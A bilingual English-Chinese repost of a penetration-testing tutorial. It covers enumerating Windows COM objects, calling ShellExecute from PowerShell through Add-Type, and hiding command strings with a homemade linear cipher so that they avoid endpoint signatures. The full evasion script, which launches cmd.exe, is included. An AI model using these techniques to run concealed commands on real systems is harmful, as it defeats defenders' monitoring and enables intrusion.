PowerShell Payload执行和规避的乐趣

In this article, we’re going to learn how to use COM objects and PowerShell in Windows to execute shell commands with a couple of techniques for evading some endpoint security. Specifically, what you should get out of this is:

在本文中,我们将学习如何使用Windows上的COM对象和PowerShell来通过两种技术来逃避某些端点安全性来执行Shell命令。 具体来说,您应该从中得到的是:

  • Learn what COM objects are

    了解什么是COM对象
  • Enumerate COM Objects in Windows

    枚举Windows中的COM对象
  • How to run COM objects in .NET compatible wrappers to Windows API

    如何在.NET兼容包装中将COM对象运行到Windows API
  • Learn how to create your own simple encryption and decryption routines for evasion

    了解如何创建自己的简单加密和解密例程以逃避

Disclaimer: Please do not utilize anything you learn in this article for unauthorized or illegal purposes.

免责声明 :请勿将您在本文中学到的任何东西用于未经授权或非法的目的。

什么是COM对象? (What are COM Objects?)

COM objects stand for Component Object Model for Windows. It was introduced in the early 90’s as a means for developers to interface and re-use code locally on systems as well as across networks for which the term becomes DCOM, or distributed COM. Accessible COM objects in the user space of a system exposes application programming interfaces (APIs) that are within dynamic link libraries (DLLs) registered and loaded into the Windows system for you to use. As you might imagine, it didn’t take penetration testers and malware authors long to make use of COM from it’s debut.

COM对象代表Windows的组件对象模型。 它是在90年代初期引入的,它是开发人员在系统上以及跨网络(称为DCOM或分布式COM)的本地接口和重用代码的一种方法。 系统用户空间中的可访问COM对象公开了动态链接库(DLL)中已注册并加载到Windows系统中的应用程序编程接口(API),供您使用。 就像您想象的那样,渗透测试人员和恶意软件编写者花了很长时间才从COM的首次亮相就开始使用COM。

In our use case, we will think about this from a penetration tester point of view and try to achieve some sort of payload or shell command execution to further our efforts on an engagement. There’s so much to learn about COM and how interactions with the WinAPI back end work. We will focus only on the following use cases:

在我们的用例中,我们将从渗透测试人员的角度考虑这一点,并尝试实现某种有效负载或shell命令执行,以进一步推动我们的参与。 关于COM以及与WinAPI后端的交互如何工作,有很多东西要学习。 我们将仅关注以下用例:

  • First enumerate the DLL’s associated with a ‘CLSID’ to create and reference from the registry

    首先枚举与“ CLSID”相关联的DLL以从注册表创建和引用

  • Second; define how to reference a new instance of a COM object using the CLSID locally for .NET compatible execution through PowerShell

    第二; 定义如何使用本地CLSID引用COM对象的新实例,以便通过PowerShell进行.NET兼容执行

枚举Windows中的COM对象 (Enumerate COM Objects in Windows)

Finding COM objects has been a well known and documented process. However, many penetration testers skip out on this level of granularity because in recent years, many frameworks have been developed by the research community that make payload execution easier with obfuscation. We’re going to use some significant and still valuable methods of accessing functions within DLL’s today for the purposes of what I call “syntax” evasion.

查找COM对象是众所周知的过程。 但是,许多渗透测试人员没有采用这种粒度级别,因为近年来,研究界开发了许多框架,这些框架使混淆处理更容易执行有效负载。 为了达到我所说的“语法”规避的目的,我们将使用一些重要且仍有价值的方法来访问DLL中的函数。

I say this because ultimately, a very tuned endpoint security agent, modern logging, and a good set of hunting analysts can still detect what we’re going to do. It’s been my own experience that many security defender and threat hunt programs rely too heavily on commercial out of the box signatures which are about one size-fits-all scenarios. For instance, traditional signatures might be looking for the use of “cmd.exe”, base64 decoding, and traditional .NET namespace and method use for things like trojan downloaders.

我之所以这样说,是因为最终,经过调优的端点安全代理,现代化的日志记录和大量的搜寻分析人员仍然可以检测到我们将要做什么。 根据我自己的经验,许多安全防御者和威胁搜寻程序过分依赖现成的商业签名,而商业签名通常是一种适用于所有情况的方案。 例如,传统的签名可能正在寻找使用“ cmd.exe”,base64解码以及将传统的.NET命名空间和方法用于诸如木马下载程序之类的事情。

So how do we get around some of these classic and traditional signatures? We enumerate some COM objects to the system. For those of you familiar with ROP gadgets; think of this as a WinAPI equivalent that does not focus on stack manipulation; but shell syntax evasion and execution. To do so let’s begin by knowing where to look:

那么,如何解决这些经典和传统签名呢? 我们将一些COM对象枚举到系统中。 对于那些熟悉ROP小工具的人 ; 可以将其视为与WinAPI等效的对象,它不关注堆栈操作; 但外壳语法规避和执行。 为此,让我们从知道在哪里开始:

In modern windows the location can be found under the registry path: “Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{UNIQUE-CLSID-NUMBER}\InprocServer32” . When here, you can examine pretty much everything available to you. In our article we try to enumerate only Windows native DLL’s and runtime rights (user only). If you examine the key’s value, it will lead you to the path of the DLL as shown below:

在现代Windows中,可以在注册表路径下找到该位置:“ Computer \ HKEY_LOCAL_MACHINE \ SOFTWARE \ Classes \ CLSID \ {UNIQUE-CLSID-NUMBER} \ InprocServer32”。 在这里,您可以检查几乎所有可用的东西。 在我们的文章中,我们尝试仅枚举Windows本机DLL的权限和运行时权限(仅用户)。 如果您检查密钥的值,它将引导您进入DLL的路径,如下所示:

Note: In our registry window we can see that the specific CLSID ending in 046 is associated with a Sytem32 DLL (oleaut32.dll) that upon review is related to installer support according to Microsoft.

注意:在我们的注册表窗口中,我们可以看到以046结尾的特定CLSID与Sytem32 DLL(oleaut32.dll)关联,根据Microsoft的审查,该Sytem32 DLL与安装程序支持有关。

However, that’s not enough to know about the DLL. The traditional researcher would have to essentially reverse engineer the DLL and look for exports and backreference the WinAPI documentation in the traditional C-code syntax from MSDN which is pains taking work (Thank you, Security Researchers!). A year ago, the FLARE team at FireEye published a blog about these methods again by using PowerShell to enumerate the CLSID’s member-objects.

但是,仅了解DLL还不够。 传统的研究人员必须从本质上对DLL进行反向工程,并寻求导出并使用MSDN的传统C代码语法对WinAPI文档进行反向引用,这很麻烦。(谢谢安全研究人员!)。 一年前,FireEye的FLARE团队通过使用PowerShell枚举CLSID的成员对象,再次发布了有关这些方法的博客。

Usage Tip: In PowerShell, if you ever want to discover what objects you can reference in a specific pipeline; such as against files and folders, you just simply pipe the “cmdlet” output into Get-Member. I use the default aliases associated for Get-ChildItem, Get-Member, and Select-Object for cleanliness:

使用技巧:在PowerShell中,如果您想发现可以在特定管道中引用的对象; 例如针对文件和文件夹,您只需将“ cmdlet”输出通过管道传递到Get-Member。 我使用与Get-ChildItemGet-MemberSelect-Object相关联的默认别名来保持整洁:

Image for post
Use Get-ChildItem and Get-Member to See Callable Methods
使用Get-ChildItem和Get-Member查看可调用方法

The code provided by the FLARE team is pretty easy to read. Essentially, they will write out to a file after enumerating the registry keys for CLSID by creating a temporary drive mount. The CLSID list will then read line by line as objects for pulling API call methods.The heavy lifting peace of the script uses the Activator .NET class to retrieve CLSD full handles with their methods that can be searched for later for things like “open”, “execute”, “load”, etc. See code below for reference:

FLARE团队提供的代码非常易于阅读。 本质上,它们将通过创建临时驱动器装入枚举CLSID的注册表项后写出到文件中。 然后,CLSID列表将逐行读取作为用于拉出API调用方法的对象。脚本的繁琐工作使用Activator .NET类检索其方法的CLSD完整句柄,以后可以在其中搜索“打开”之类的内容。 ,“执行”,“加载”等。请参见以下代码以供参考:

#Code Provided by the FLARE Team at FireEye
New-PSDrive -PSProvider registry -Root HKEY_CLASSES_ROOT -Name HKCR
Get-ChildItem -Path HKCR:\CLSID -Name | Select -Skip 1 > clsids.txt

$Position = 1
$Filename = "win10-clsid-members.txt"
$inputFilename = "clsids.txt"
ForEach($CLSID in Get-Content $inputFilename) {
Write-Output "$($Position) - $($CLSID)"
Write-Output "------------------------" | Out-File $Filename -Append
Write-Output $($CLSID) | Out-File $Filename -Append
$handle = [activator]::CreateInstance([type]::GetTypeFromCLSID($CLSID))
$handle | Get-Member | Out-File $Filename -Append
$Position += 1}

Unfortunately, when I ran the script; there were no “useful” CLSID methods loaded into memory for me. I’m using Windows 10 as of July 2020 with the latest up to date patches with no specific hardening when I ran it. So, when I referenced what FireEye says should be common CLSID’s on some of the examples, they did not work for me as I had no permission in both ‘user only’ and ‘administrator’ elevated console. There may have been significant changes or other dependencies I didn’t meet. None the less, I’m on an ‘average’ workstation Windows 10.x host with user an administrative privilege when I ran both. See below:

不幸的是,当我运行脚本时; 对我来说,没有“有用的” CLSID方法加载到内存中。 截至2020年7月,我使用的Windows 10具有最新的补丁程序,运行时未进行特定强化。 因此,当我在某些示例中引用FireEye所说的应该是通用的CLSID时 ,它们对我不起作用,因为我在“仅用户”和“管理员”提升控制台中均没有权限。 可能发生了重大变化或我没有遇到的其他依赖关系。 尽管如此,当我同时运行两者时,我处于“普通”工作站Windows 10.x主机上,具有用户管理权限。 见下文:

Image for post
FireEye’s Identified CLSIDs Don’t Expose User API Access for My System
FireEye标识的CLSID不会公开我的系统的用户API访问权限

My specific situation did not allow those specific COM objects to be referenced and executed by me (which sounds like a good thing for security). That’s ok. There’s a few more tricks we can do besides rely only on raw CLSIDs that may be specific to each system.

我的特定情况不允许我引用和执行这些特定的COM对象(对于安全性来说,这听起来不错)。 没关系。 除了仅依赖于可能特定于每个系统的原始CLSID之外,我们还有其他一些技巧。

在Windows中运行COM对象 (Run COM Objects in Windows)

In a less stealthy approach we can use the Add-Type native Powershell feature which has the ability to compile C# “on the fly” when running a script or even an one-liner. Now for the purposes of forensic footprints Add-Type uses “csc.exe” as documented by Didier Stevens. So you’re not going to get away with executing your payload and shell commands without some sort of on-disk footprint. The only practical way around that is through DLL dynamic reflection by defining a dynamic method. However, those tend the get caught because some C2 frameworks like Empire used it as well.

在一种不太隐秘的方法中,我们可以使用Add-Type本机Powershell功能,该功能可以在运行脚本甚至单行代码时“即时”编译C#。 现在,出于取证足迹的目的,Add-Type使用了Didier Stevens记录的“ csc.exe” 因此,如果没有某种磁盘占用空间,您将无法执行有效载荷和外壳命令。 解决此问题的唯一实用方法是通过定义动态方法来实现DLL动态反射 。 但是,由于诸如Empire之类的某些C2框架也使用了C2,所以它们容易被抓住。

With CLSID’s sort of a “bust” in our scenario. What are we going to do? Let’s focus on what is out there in known documentation first; and then figure out how to massage our payload to run with minimizing the alerting on signature-based detection(s). There’s 2 primary ways to go about this in the context of PowerShell:

在我们的方案中,CLSID有点像“崩溃”。 我们会做什么? 让我们首先关注已知文档中的内容; 然后找出如何优化我们的有效负载以在基于签名的检测中使警报最小化的方式运行。 在PowerShell的上下文中有两种主要的解决方法:

Let’s first show the classic “wscript.shell” method of com object creation and execution. This is straight forward, and naturally endpoints will more than likely have something for it. To do this in PowerShell we’ll want to run the following:

让我们首先展示com对象创建和执行的经典“ wscript.shell”方法。 这是很直接的,自然地,端点很可能会为此有所帮助。 要在PowerShell中执行此操作,我们需要运行以下命令:

$myshell = New-Object -ComObject WScript.Shell$myshell.Run(“cmd.exe”)
Image for post
Using the Wscript.Shell (WSH) Built-In Abstracted COM Interface
使用Wscript.Shell(WSH)内置的抽象COM接口

Looking at the above; I think we can all agree there are easy keywords to pick out of that other than “cmd.exe” for signatures such as the standard “.Run” and “wscript.shell” keyword matches. However, that will not be our only evasion layer. Let’s try something a little “lower” to the API by actually calling the specific DLL in C# compatible syntax in PowerShell’s acceptable .NET style. Let’s get started:

看着上面; 我认为我们都可以同意,除了“ cmd.exe”之外,还有一些易于选择的关键词可以用于签名,例如标准的“ .Run”和“ wscript.shell”关键词匹配。 但是,这将不是我们唯一的规避层。 通过以PowerShell可接受的.NET样式以C# 兼容语法实际调用特定的DLL,让我们尝试一些“低级”的API。 让我们开始吧:

In PowerShell or in a script; let’s define the object in array format. Our object name that we’ll reference is “foo” and we want to reference the native system32 DLL called “shell32.dll” and ensure that we are invoking only the “ShellExecute” method. Note: The term “entry point” or EOP is commonly used for where the loader switches to CPU execution and control to the EIP register in Intel x86 architecture.

在PowerShell或脚本中; 让我们以数组格式定义对象。 我们将引用的对象名称为“ foo”,并且我们要引用名为“ shell32.dll”的本机system32 DLL,并确保我们仅调用“ ShellExecute ”方法。 注意:术语“入口点”或EOP通常用于在Intel x86架构中加载程序切换到CPU执行并控制到EIP寄存器的地方。

We define this for our DLL as we are only interested in one function and have no other means of “walking” the exports tree. In fact, the only difference between a DLL and a standard portable executable (PE) windows binary is the definition of an EOP. If you ever wanted to load and execute a DLL without calling a binary directly, you would use rundll32.exe and a crafted DLL.

我们为DLL定义了这一点,因为我们只对一个函数感兴趣,而没有其他“遍历”导出树的方法。 实际上,DLL和标准可移植可执行(PE)Windows二进制文件之间的唯一区别是EOP的定义。 如果要加载和执行DLL而不直接调用二进制文件,则可以使用rundll32.exe和精心制作的DLL

$foo = @'
[DllImport("shell32.dll", EntryPoint = "ShellExecute")]
public static extern string Shell(IntPtr HWND, string operation, string file, string parameters, string directory, int showcmd);
'@

Next, let’s define an object that will compile our C# code above ‘on the fly’ and define appropriate namespace and type details:

接下来,让我们定义一个对象,该对象将“即时”编译我们的C#代码并定义适当的名称空间和类型详细信息:

$bar = Add-Type -MemberDefinition $foo -Name 'Shell32' -Namespace 'Win32' -PassThru

Now we’re ready to execute whatever shell command and payload we want. Let’s try “cmd.exe” using the following syntax:

现在,我们准备执行所需的任何shell命令和有效负载。 让我们使用以下语法尝试“ cmd.exe”:

$bar::Shell(0,'open','cmd.exe','','',5)

In the above syntax, we use “::” to reference the base object which our DLL and then call the ShellExecute method from within. We use the parameter syntax as defined in the MSDN which state the acceptable format is:

在以上语法中,我们使用“ ::”来引用DLL的基础对象,然后从内部调用ShellExecute方法。 我们使用MSDN中定义的参数语法,该语法指出可接受的格式为:

HINSTANCE ShellExecuteA(
HWND hwnd,
LPCSTR lpOperation,
LPCSTR lpFile,
LPCSTR lpParameters,
LPCSTR lpDirectory,
INT nShowCmd
);

These parameters are listed in the MSDN documentation as to what type of format they are and if it is needed or not. In short, we define the first argument which our “handler” (HWND integer) instance which focuses on Window based operations. That handle is defined as an integer satisfy the requirement. The next parameter, we defined “open” which is defined a null terminated string for our action (lpOperation string). The 3rd parameter is the file we desire to execute, in our case “cmd.exe” and that is referenced as (lpFile, string).

这些参数在MSDN文档中列出,涉及它们的格式类型以及是否需要。 简而言之,我们定义“ handler”(HWND整数)实例的第一个参数,该参数着重于基于Window的操作。 该句柄定义为满足要求的整数。 下一个参数,我们定义了“ open”,为我们的动作定义了一个以空终止的字符串(lpOperation字符串)。 第三个参数是我们希望执行的文件,在我们的示例中为“ cmd.exe”,其引用为(lpFile,string)。

The 4th and 5th Parameters are optional in case your executable has its own arguments and a specific runtime directory to start in. Since we call a standard environment-based executable; we do not need to self-reference the system32 directory.

如果您的可执行文件具有其自变量和要启动的特定运行时目录,则第4和第5参数是可选的。 我们不需要自引用system32目录。

The last parameter is an integer of our “open type” which can be in the form of maximized, minimized, defaults, etc. We elected to use integer of 5 on (nShowCmd integer) which is translated as “SW_SHOW” to activate the window and display in its current size and position.

最后一个参数是“开放类型”的整数,其形式可以是最大化,最小化,默认值等。我们选择对(nShowCmd整数)使用5的整数,将其翻译为“ SW_SHOW”以激活窗口并显示其当前大小和位置。

Putting it all together, let’s run all 3 parts and we should get a standard locally instant COM object executed “cmd.exe” prompt:

放在一起,让我们运行所有3个部分,我们应该得到一个标准的本地即时COM对象执行“ cmd.exe”提示:

Image for post
Run ShellExec from shell32.dll as COM Object
从shell32.dll作为COM对象运行ShellExec

创建自己的规避加密 (Creating your own Encryption for Evasion)

I’m going to put it out here that I’m no cryptography specialist by any means. What I’m going to show you here is a mathematically “weak” way of encoding your plaintext into cipher text and back. However, it is also less likely to get caught by standard anti-malware and endpoint security signatures because it’s not your run-of-the-mill Base64 encoding attempts. Remember that our objective is not to stop all forensic analysis; we just don’t want to be triggering endpoint alerts. So why not create our own? We’re going to code a simple set of helper functions using a linear cipher and symmetric key completely in PowerShell. After we finish coding it, we will apply part of our encryption to our payload for runtime execution. Let’s dig in.

我要说的是,我绝不是密码专家。 我在这里向您展示的是一种数学上“弱”的方式,将明文编码为密文并反过来。 但是,它也不太可能被标准的反恶意软件和终结点安全性签名所捕获 ,因为这不是您经常使用的Base64编码尝试。 请记住,我们的目标不是停止所有法医分析; 我们只是不想触发端点警报。 那么为什么不创建我们自己的呢? 我们将在PowerShell中完全使用线性密码和对称密钥来编写一组简单的辅助函数。 完成编码后,我们会将部分加密应用于有效负载以执行运行时。 让我们深入。

Let’s start by defining what our encryption cipher will be. For us, we’ll use a simple linear function “Y=3x+key”; Y is the output that our ciphertext will be, “X” will be the input of our plain-text and the multiplication of “3” is plus “key” is going to be our encryption cipher.

让我们从定义加密密码开始。 对于我们来说,我们将使用简单的线性函数“ Y = 3x + key”; Y是我们密文的输出,“ X”是我们纯文本的输入,“ 3”的乘积加上“ key”将成为我们的加密密码。

For a visual, this is our graph line if we set our key to the “k=2”:

对于视觉而言,如果将键设置为“ k = 2”,则这是我们的图形线:

Image for post
Plot graph of the function “3x+2” for encryption using k=2
使用k = 2进行加密的函数“ 3x + 2”的图

At a high level, this shows we a positive line and that any input we put in will have a linear and increasing output. Let’s keep that in mind for a second as we define more of our function and how it will become clearer shortly. Now that we know our encryption function; our decryption function is exactly the reverse. The inverse to (3x+2) is essentially (x-2)/3. We need not graph that.

从高层次来看,这表明我们有一条正线,而我们输入的任何输入都将具有线性且不断增加的输出。 让我们牢记这一点,因为我们定义了更多的功能以及如何使其在不久后变得更加清晰。 现在我们知道了加密功能; 我们的解密功能恰恰相反。 (3x + 2)的倒数本质上是(x-2)/ 3。 我们不必对此作图。

If you’re wondering “what do we do with these 2 formulas?”; that’s a great question. Knowing that we’re reading this in English, the alphabet contains 26 characters:

如果您想知道“我们如何使用这两个公式?”; 这是一个很好的问题。 知道我们正在用英语阅读时,字母表包含26个字符:

Image for post
Alphabet Dictionary to Integers
整数字母字典

So, we’re going to create a data dictionary that uses these numbers as substituted letters encoded as a “signal” and we will then encrypt our message using our key. In our examples, we use an integer of 2. Let’s see how we can replicate this in PowerShell by creating both helper functions. Copy and paste the functions as we move along into your console or script.

因此,我们将创建一个数据字典,使用这些数字作为编码为“信号”的替代字母,然后我们将使用密钥对消息进行加密。 在示例中,我们使用2的整数。让我们看看如何通过创建两个帮助器函数在PowerShell中复制此整数。 在我们进入控制台或脚本时复制并粘贴功能。

First, let’s create the encryption function which uses (3x+k) as base:

首先,让我们创建一个以(3x + k)为基础的加密函数:

function encryptArr {
(3 * $args[0] + $args[1])
}

In the code we define the input arguments with the function integrated. In PowerShell, there are built in special variables “args” that can be defined by number and used in conjunction or without the “param” verb when creating a function. Now let’s create our decrypt function; remember that this is the inverse which is (x-k)/3. We will also use the “switch” function in PowerShell to define our character dictionary in the form of encoded numbers. Notice how I use “99” as an outlier for achieving the dotted-space instead of relying on the default value. We’ll see how that operates shortly.

在代码中,我们定义了带有集成函数的输入参数。 在PowerShell中,内置了特殊变量“ args”,可以通过数字定义它们,并且在创建函数时可以结合使用或不使用“ param ”动词。 现在让我们创建解密函数; 请记住,这是(xk)/ 3的逆。 我们还将使用PowerShell中的“ switch”功能以编码数字的形式定义字符字典。 请注意,我如何使用“ 99”作为离群值来实现点分空格,而不是依赖于默认值。 我们将在短期内看到其运作方式。

function decryptArr {
$decrypt = ($args[0] - $args[1]) / 3
switch ($decrypt)
{
1 {"a"}
2 {"b"}
3 {"c"}
4 {"d"}
5 {"e"}
6 {"f"}
7 {"g"}
8 {"h"}
9 {"i"}
10 {"j"}
11 {"k"}
12 {"l"}
13 {"m"}
14 {"n"}
15 {"o"}
16 {"p"}
17 {"q"}
18 {"r"}
19 {"s"}
20 {"t"}
21 {"u"}
22 {"v"}
23 {"w"}
24 {"x"}
25 {"y"}
26 {"z"}
99 {"."}
default {" "}
}
}

When done, your screen should look similar to this if inside an interactive window:

完成后,如果在交互式窗口中,则屏幕应类似于以下内容:

Image for post
Functions Successfully Loaded No Errors
函数成功加载没有错误

Now with both functions defined and loaded into memory; let’s start setting up our dependent variables that these functions combined with some piping and “for” loops will use. Let’s create some empty variables in array and string format and then define what our signal is. Just for demonstration purposes I’ll use a whole sentence just to show case the ability of the script:

现在,两个函数都已定义并加载到内存中; 让我们开始设置我们的因变量,这些函数与一些管道和“ for”循环结合使用。 让我们以数组和字符串格式创建一些空变量,然后定义我们的信号是什么。 仅出于演示目的,我将使用完整的句子来展示脚本的功能:

$encrypted = @()
$commandstring = ""
$signal=@( 19,19,14,99,09,19,99,09,14,99,06,20,16,99,19,05,18,22 )
Image for post
Create Variables and Introduce Our Signal
创建变量并引入信号

With our signal as encoded alphabet letters and the wildcard character “99” as doted-space; we’re going to start encrypting our signal and then decrypt it to show you the routine. Let’s start the encryption process by performing a “for” loop against the signal array and adding into the “encrypted” empty array variable:

以我们的信号作为编码的字母,通配符“ 99”作为点号; 我们将开始加密信号,然后将其解密以显示例程。 让我们通过对信号数组执行“ for”循环并将其添加到“ encrypted”空数组变量中来开始加密过程:

for ($i=0; $i -lt $signal.Count; $i++) { $result = (encryptArr $signal[$i] 2); $encrypted = $encrypted + $result }

Building onto what we have done execute the “for” loop and let’s make sure we have the proper count and type in our output objects. You should receive the same results below. Note that I accidently used “()” with the count method. I’m not sure why it does that; but not for calling GetType. You should see the same 18 characters and an output of a system array as shown below:

在我们完成的工作的基础上执行“ for”循环,并确保我们在输出对象中具有正确的计数和类型。 您应该在下面收到相同的结果。 请注意,我在count方法中意外使用了“()”。 我不确定为什么要这么做。 但不适用于调用GetType。 您应该看到相同的18个字符和系统数组的输出,如下所示:

Image for post
Successful Encryption of Signal
成功加密信号

Now let’s run the decryption sequence by piping the values in the “encrypted” array iterating “for-each” object element over a loop using our decryption function with a key of 2. Remember that we defined the key earlier in our in our syntax pattern as we were encrypting everything. The result should show 1 string separated by dots as shown below. Note that this is all in memory and that any sensitive words such as “cmd.exe” or any other commands have to be examined in memory versus relying on a footprint of a config file from a loader trojan or direct visibility from a PowerShell transcript log file.

现在,让我们通过使用密钥为2的解密函数,在循环中循环遍历“ for-each”对象元素的“ encrypted”数组中的值,来运行解密序列。请记住,我们在前面的语法模式中定义了密钥因为我们正在加密所有内容。 结果应显示1个由点分隔的字符串,如下所示。 请注意,这全都在内存中 ,因此必须在内存中检查所有敏感词(例如“ cmd.exe”或任何其他命令),而不是依赖于加载程序木马中配置文件的占用空间或PowerShell脚本中的直接可见性 日志文件。

Image for post
Run the Decryption Routine To the Desired Variable In Memory
对内存中的所需变量运行解密例程

放在一起 (Putting It All Together)

We’ve seen how we can use simple data substitution for the alphabet combined with a very simple way of encrypting it into cipher text. Let’s join and apply it to our previous use case of using the DLL ShellExecute method. How we apply our cipher encryption and decoding. We have a method of keeping our payload shell commands in memory without exposing our specific command syntax intent in the powershell log files until it is actually executed.

我们已经看到了如何使用简单的数据替换字母以及将其加密为密文的非常简单的方法。 让我们将其加入并应用到以前使用DLL ShellExecute方法的用例中。 我们如何应用密码加密和解码。 我们提供了一种方法,可以将有效载荷外壳程序命令保留在内存中,而无需在Powershell日志文件中公开特定的命令语法意图,直到它真正执行为止。

Keeping your same console window open (so you don’t lose the functions loaded) let’s clear out the variables and create a new signal which will consist of “cmd.exe”. We’re going to run the encryption routine again and decrypt it in the next line. We’re also going to setup the COM object again to run it as you can see below. Here’s the code in full in case you need to re-paste it into a new window:

保持相同的控制台窗口处于打开状态(这样就不会丢失加载的函数),让我们清除变量并创​​建一个新的信号,该信号将包含“ cmd.exe”。 我们将再次运行加密例程,并在下一行对其进行解密。 我们还将再次设置COM对象以运行它,如下所示。 这是完整的代码,以防您需要将其重新粘贴到新窗口中:

#Source licensed GPLv2 by Dennis Chow dchow[AT]xtecsystems.com
#Visit my https://github.com/dc401 for complementing code#create a encrypt function
function encryptArr {
(3 * $args[0] + $args[1])
}
#create the decrypt function and signal dictionary
function decryptArr {
$decrypt = ($args[0] - $args[1]) / 3
switch ($decrypt)
{
1 {"a"}
2 {"b"}
3 {"c"}
4 {"d"}
5 {"e"}
6 {"f"}
7 {"g"}
8 {"h"}
9 {"i"}
10 {"j"}
11 {"k"}
12 {"l"}
13 {"m"}
14 {"n"}
15 {"o"}
16 {"p"}
17 {"q"}
18 {"r"}
19 {"s"}
20 {"t"}
21 {"u"}
22 {"v"}
23 {"w"}
24 {"x"}
25 {"y"}
26 {"z"}
99 {"."}
default {" "}
}
}
#define variables and make them empty
$encrypted = @()$signal = @( 3,13,4,99,5,24,5 )$commandstring = ""
#start the encryption routine on the signal array
for ($i=0; $i -lt $signal.Count; $i++) { $result = (encryptArr $signal[$i] 2); $encrypted = $encrypted + $result }
#decrypt the ciphertext with the proper key (in our case 2)
$encrypted | ForEach-Object { $result = decryptArr $_ 2; $commandstring += $result }
#define the shellexec dll and method to call
$foo = @'
[DllImport("shell32.dll", EntryPoint = "ShellExecute")]
public static extern string Shell(IntPtr HWND, string operation, string file, string parameters, string directory, int showcmd);
'@
#Compile the C# code on the fly for when it needs to be called
$bar = Add-Type -MemberDefinition $foo -Name 'Shell32' -Namespace 'Win32' -PassThru
#call our shell command using the commandstring decrypted variable
$bar::Shell(0,'open',$commandstring,'','',5)
Image for post
Setting the Encryption, Decryption, and Stage the COM Object for Execution
设置加密,解密和暂存COM对象以执行

Now were staged using the same commands we ran, only we encrypted and decrypted our encoded signal of cmd.exe in memory and now we run it by calling the “comandstring” variable. Note, that in a real penetration testing engagement; you aren’t going to be labeling these variables nearly as obvious as our tutorial here. Let’s run our final string to call the shell command which is:

现在使用与我们运行的命令相同的命令进行上演,仅在内存中对cmd.exe的编码信号进行加密和解密,然后通过调用“ comandstring”变量来运行它。 注意,在真实的渗透测试中参与; 您将不会像在本教程中那样明显地标记这些变量。 让我们运行最后一个字符串来调用shell命令,该命令是:

“$bar::Shell(0,'open',$commandstring,'','',5)
Image for post
Execution of CMD.exe Decrypted From Memory Using Our Functions
使用我们的函数从内存解密的CMD.exe的执行

Now you’ve successfully called a decoded variable that was encrypted using our signal dictionary and cipher. Keep in mind, we only encrypted the “cmd.exe” portion of our payload for demonstration purposes. If you expanded the dictionary to include all the other characters such as numbers and special characters like “pipe, parenthesis, and quotes” you could technically have a near completely encrypted script. A quick note on lateral movement: You can also perform this same style of DLL definition objects by creating the COM object instance on a remote host as long as the COM object is classified as “DCOM” and that you have the remote connectivity and user credentials.

现在,您已经成功调用了一个解码变量,该变量已使用我们的信号字典和密码进行了加密。 请记住,出于演示目的,我们仅加密有效负载的“ cmd.exe”部分。 如果将字典扩展为包括所有其他字符(例如数字)和特殊字符(例如“竖线,括号和引号”),则从技术上讲,您可以拥有几乎完全加密的脚本 。 关于横向移动的快速注释:您也可以通过在远程主机上创建COM对象实例来执行相同样式的DLL定义对象,只要该COM对象被分类为“ DCOM ”并且您具有远程连接性和用户凭据。

闭幕 (Closing)

I hope you’ve found this to be a fun and exciting introduction into leveraging COM objects within Powershell and harnessing the capabilities of rolling your own encryption. As always, let me know what you thought about this tutorial and should you ever need any cyber security assistance, you can find me at:

我希望您发现这是在Powershell中利用COM对象并利用滚动加密功能的有趣而令人兴奋的介绍。 与往常一样,请告诉我您对本教程的看法,如果您需要任何网络安全帮助,可以在以下位置找到我:

Dennis Chow, CISO — SCIS Security — www.scissecurity.com

CISO Dennis Chow — SCIS 安全性— www.scissecurity.com

翻译自: https://medium.com/swlh/fun-with-powershell-payload-execution-and-evasion-f5051fd149b2

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值